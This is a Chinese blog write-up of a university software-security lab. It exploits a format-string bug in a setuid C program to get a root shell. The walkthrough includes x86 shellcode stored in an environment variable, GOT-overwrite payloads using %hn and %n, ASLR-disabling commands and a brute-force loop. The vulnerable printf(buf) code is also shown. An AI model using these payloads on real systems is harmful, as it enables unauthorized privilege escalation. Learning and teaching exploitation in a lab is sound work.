软件安全实验——lab4(格式化字符串2:修改内存地址运行shellcode获取root权限)

Format-String后续的一些分析,有些步骤、利用细节没看懂的可以参考:
软件安全实验——lab4后记(格式化字符串实验原理、漏洞利用过程逐步分析)
最新的格式化字符串漏洞实验:软件安全实验——lab4 Format String Vulnerability Lab(格式化字符串漏洞实验最新版——2020年1月12日更新)

Lab4 Format-String Vulnerability Lab (2)

Format string这个lab分两节课,第二节课的内容为:

Source code:

/*
* 如果获得环境变量的程序和攻击的程序的文件名长度不一样,环境变量的地址
* 会发生偏移。因此,要么令两个程序的文件名长度相等(推荐),要么考虑偏
* 移来计算环境变量地址。
* gcc -z execstack -o got got.c
*/
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) 
{
	char buf[1024];

	strncpy(buf, argv[1], sizeof(buf) - 1);
	printf(buf);  //没有格式化参数%s,可以输入地址
	puts("done");
	exit(0);
}

利用root把上面这段代码编译并且suid,然后普通用户执行它,要求就是成功获得root shell。
可以参考formatstring-1.2.pdf。

  上面的代码在调用exit(0)函数时,使用的是root权限,想要获得root权限,在这个实验中我们就要通过修改字符串的内存地址,改变程序的运行逻辑,把exit()函数的地址改成shellcode的地址,让程序运行shellcode。
  如果获得环境变量shellcode地址的程序和攻击的程序的文件名长度不一样,那么shellcode对于它们两个程序的地址也会相差几个字节。

一、获得环境变量的程序和攻击的程序的文件名长度不一样

Root权限关闭alsr:

sudo sysctl -w kernel.randomize_va_space=0

在这里插入图片描述

(1)定义一个环境变量EGG存放shellcode

export EGG=$(python -c "print '\x90'*1000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")

在这里插入图片描述

// \x90*1000设置了1000个指令雪橇,可以提高命中运行shellcode的概率

(2)获取shellcode的地址

#include <stdio.h>
#include <stdlib.h>
int main(void)
{
printf("Egg address: %p ",getenv("EGG"));
}

在这里插入图片描述

//EGG的地址为0xbffff4ac

(3)查找exit函数的地址

objdump -R got(显示文件的动态重定位入口)

在这里插入图片描述

//从截图中可以找到exit函数的地址从0804a00c开始的

(4)1、用%x找到printf()中参数在栈中的位置是11

./got AAAA,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,

在这里插入图片描述

(5)将exit函数的地址修改为shellcode的地址

./vulp $(printf "\x0e\xa0\x04\x08\x0c\xa0\x04\x08")%49143x%11\$hn%12831x%12\$hn
其中,49143=0xbfff-8,8是前面\x0a\xa0\x04\x08\x0e\xa0\x04\x08的长度
12831=0xf4ac-0xbfff

11$是指定%hn写入第11个位置,也就是参数在栈中的位置,就不用多个%x来控制位置了
这样,脚本就会分两次在0804a00c的位置写上bfff,在0804a00e的位置写上f4ac
在这里插入图片描述
在这里插入图片描述

二、令两个程序的文件名长度相等(推荐)

编译一个文件名长度相同的,命名为./getenv,并设为suid程序。
它和漏洞程序./string的文件名长度相同,这样环境变量EGG存放的shellcode的地址对于它们是相同,就不用像之前再添加雪橇x90了。

(1)定义一个环境变量EGG存放shellcode

export EGG=$(python -c "print '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")

在这里插入图片描述

两个程序的文件名长度相等,不用像之前再添加雪橇x90了来提高命中率

(2)获取shellcode的地址

在这里插入图片描述

地址0xbfff f594

(3)攻击

给连续的0804a00c~e地址用%hn分两次写入2个值的攻击脚本:./string $(printf "\x0e\xa0\x04\x08\x0c\xa0\x04\x08")%49143x%11\$hn%13717x%12\$hn
其中,49143=0xbfff-8,8是前面\x0a\xa0\x04\x08\x0e\xa0\x04\x08的长度
13717=0xf594-0xbfff
11\$是指定%hn写入第11个位置,也就是参数在栈中的位置,就不用多个%x来控制位置了
这样,脚本就会分两次在0804a00c的位置写上bfff,在0804a00e的位置写上f594
在这里插入图片描述

这是因为没有setuid权限

Sudo chmod 4755 string 

之后
在这里插入图片描述

给连续的0804a00c~f地址用%n分4次写入四个值的攻击脚本:(./string $(printf "x0c\xa0\x04\x08\x0d\xa0\x04\x08\x0e\xa0\x04\x08\x0f\xa0\x04\x08")%156x%11\$n%69x%12\$n%14x%13\$n%192x%14\$n)

三、Root权限开启alsr:sudo sysctl -w kernel.randomize_va_space=2

#!/bin/bash
while true
do
./vulprr $(printf "\x0e\xa0\x04\x08\x0c\xa0\x04\x08")%49143x%11\$hn%13831x%12\$hn
done

在这里插入图片描述

脚本启动后,大概三分钟后出现了结果。
在这里插入图片描述

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值